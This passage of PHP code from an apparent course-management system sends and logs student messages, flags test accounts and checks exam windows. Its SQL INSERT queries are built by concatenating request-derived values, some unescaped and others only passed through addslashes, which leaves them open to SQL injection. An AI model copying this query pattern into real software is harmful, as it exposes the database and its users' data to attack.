&& !empty($sWorkEmail)) { $sEmail = $sWorkEmail; } } else { // Convert plain text to HTML for email clients. $sMessageEmail = nl2br(htmlspecialchars($sMessage, ENT_QUOTES, 'UTF-8')); $isEmailHTML = true; } // Note: previously `isHTML` was incorrectly nested inside `bcc`. Keep `bcc` as recipients list. maill( $sEmail, $sSubject, $sMessageEmail, null, array( 'bcc' => array('bce@igotafrica.com'), 'isHTML' => $isEmailHTML ) ); $sMessage = sanitizeCceMessageHtml($sMessage); $sql = "INSERT INTO CCEMessages (CCEModuleID, SentByName, SentTo, SentDateTime, MessageSubject, MessageText, SentByFacilitatorID, SystemMessage) VALUES (" . $sModuleID . ", '" . $sFrom . "', '" . $sSentTo . "', '" . date("Y-m-d H:i:s") . "', '" . addslashes(stripslashes($sSubject)) . "', '" . addslashes(stripslashes($sMessage)) . "', " . $SentByFacilitatorID . ", 1)"; // echo $sql; // exit; mysqli_query($conni, $sql); $sql = "INSERT INTO CCEMessagesSentTo (CCEMessageID, SentType, SentID) VALUES (" . mysqli_insert_id($conni) . ", 'Student', '" . $iStudentID . "')"; mysqli_query($conni, $sql); } $numModules = 5; if (!defined('CESA_TEST_STUDENT_IDS')) { define('CESA_TEST_STUDENT_IDS', serialize([54, 3920])); } if (!function_exists('getTestStudentIDs')) { function getTestStudentIDs() { return unserialize(CESA_TEST_STUDENT_IDS); } } if (!function_exists('isTestStudent')) { /** * @param int $studentId CCEStudentID to check * @return bool true when $studentId belongs to a known test/demo account */ function isTestStudent($studentId) { return in_array((int) $studentId, getTestStudentIDs()); } } if (!function_exists('hasActiveScheduledExam')) { /** * Check whether there is at least one CCEExam whose scheduled window * (StartDate..CloseDate) covers the current moment. * * @param int $questionnaireId optional – limit check to a specific exam * @return bool */ function hasActiveScheduledExam($questionnaireId = 0) { global $conni; $sql = "SELECT 1 FROM CCEExams WHERE StartDate IS NOT NULL AND CloseDate IS NOT NULL AND StartDate <= NOW() AND CloseDate >= NOW()"; if ($questionnaireId > 0) { $sql .= " AND Questionnaire_ID = " . (int) $questionnaireId; } $sql .= " LIMIT 1"; $rec = mysqli_query($conni, $sql); $found = $rec && mysqli_fetch_assoc($rec); if ($rec) { mysqli_free_result($rec); } return (bool) $found; } } // Function to clean HTML and line breaks from text function cleanTextForCSV($text) { if (empty($text)) { return ''; } // Strip HTML tags $text = strip_tags($text); // Replace line breaks and carriage returns with spaces $text = str_replace(array("\r\n", "\r", "\n"), ' ', $text); // Replace multiple spaces with single space $text = preg_replace('/\s+/', ' ', $text); // Trim whitespace return trim($text); }